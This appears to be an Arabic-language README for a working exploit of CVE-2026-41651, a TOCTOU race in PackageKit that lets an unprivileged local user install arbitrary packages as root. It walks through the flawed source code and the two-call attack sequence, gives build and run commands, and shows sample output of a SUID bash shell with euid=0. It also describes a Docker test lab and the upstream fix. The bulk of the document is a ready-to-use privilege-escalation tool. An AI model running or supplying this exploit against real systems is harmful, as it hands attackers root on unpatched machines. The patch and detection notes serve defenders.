
يستغل ثغرة سباق TOCTOU في معالج المعاملات الخاص بـ PackageKit لتثبيت حزم عشوائية بصلاحيات الجذر (root)، مما يتيح تصعيدًا محليًا للصلاحيات والحصول على قشرة SUID دون الحاجة إلى مصادقة.
سباق TOCTOU في معالج المعاملات الخاص بـ PackageKit. يمكن لأي مستخدم محلي غير مميَّز تثبيت أي حزم بصلاحيات root دون أي مصادقة.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-41651 |
| المكوّن | خفيّة PackageKit (packagekitd) |
| الإصدارات المتأثرة | 1.0.2 – 1.3.4 |
| تم الإصلاح في | 1.3.5 |
| التأثير | تصعيد صلاحيات محلي → root |
| المصادقة المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| تم الاختبار على | Ubuntu 24.04, Debian 12 |

تترابط ثلاثة أخطاء في src/pk-transaction.c معًا لتُحدث نافذة TOCTOU بين التفويض والتنفيذ.
تستبدل InstallFiles() بشكل غير مشروط cached_transaction_flags وcached_full_paths دون أي فحص للحالة:
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
تُسقط pk_transaction_set_state() بصمت الانتقالات العكسية بين الحالات. تكون العَلَمات قد استُبدلت بالفعل، لكن الحالة تبقى كما هي:
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
تقرأ pk_transaction_run() العَلَمات المخزنة مؤقتًا في وقت الإرسال (من idle الخاص بـ GLib)، وليس في وقت التفويض:
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
يؤدي تعيين PK_TRANSACTION_FLAG_SIMULATE (البت 2، القيمة 0x4) إلى تخطي فحص polkit بالكامل:
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
يُرسَل كلا استدعائي InstallFiles بوصفهما استدعاءَي D-Bus غير متزامنَين من نوع أرسلْ وانسَ (fire-and-forget) قبل أن تكرّر الحلقة الرئيسية للعميل. وهذا يضمن وصول الرسالتين إلى مقبس الخادم قبل أن يتمكن idle الخاص بـ GLib من الانطلاق — لا يوجد سباق يجب كسبه.
يعيد polkitd في النهاية NOT_AUTHORIZED للاستدعاء الثاني، لكن بحلول ذلك الوقت يكون APT قد أرسل التثبيت بالفعل. هذا الخطأ متوقَّع وغير ضار.
sudo apt install libglib2.0-dev
make
لا توجد تبعيات أخرى — تُبنى حزم .deb بلغة C خالصة في وقت التشغيل.
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — تستخدم جميع فحوصات الصلاحيات في النواة معرّف المستخدم الفعّال (effective UID).
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
تنشئ الصورة PackageKit 1.3.4 من المصدر (الالتزام 2149735، آخر إصدار ثُغري)، وتشغّل dbus + polkitd + packagekitd، ثم تنفّذ الاستغلال كمستخدم غير مميَّز.
ملاحظة بخصوص g_assert: تستبعد صورة Docker الحارس g_assert (!transaction->emitted_finished) في pk-transaction.c. في نظام حقيقي غير مُصحَّح، يُطلق هذا التأكيد (assert) خطأً عندما يحاول خيط APT بثّ Finished بعد أن يكون polkitd قد بثّه بالفعل، ما يُسقط الخفيّة عبر SIGABRT. بحلول تلك النقطة تكون bash ذات الـ SUID على القرص بالفعل، لذا ينجح تصعيد الصلاحيات — الانهيار هو حجب خدمة (DoS) كأثر جانبي. تُعاد تشغيل packagekitd عند تفعيل D-Bus التالي.
في PackageKit ≥ 1.3.5 يُرفض الاستدعاء الثاني:
[-] Target is PATCHED (PackageKit >= 1.3.5)
يضيف الإصلاح حارس حالة (state guard) في pk_transaction_method_call():
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'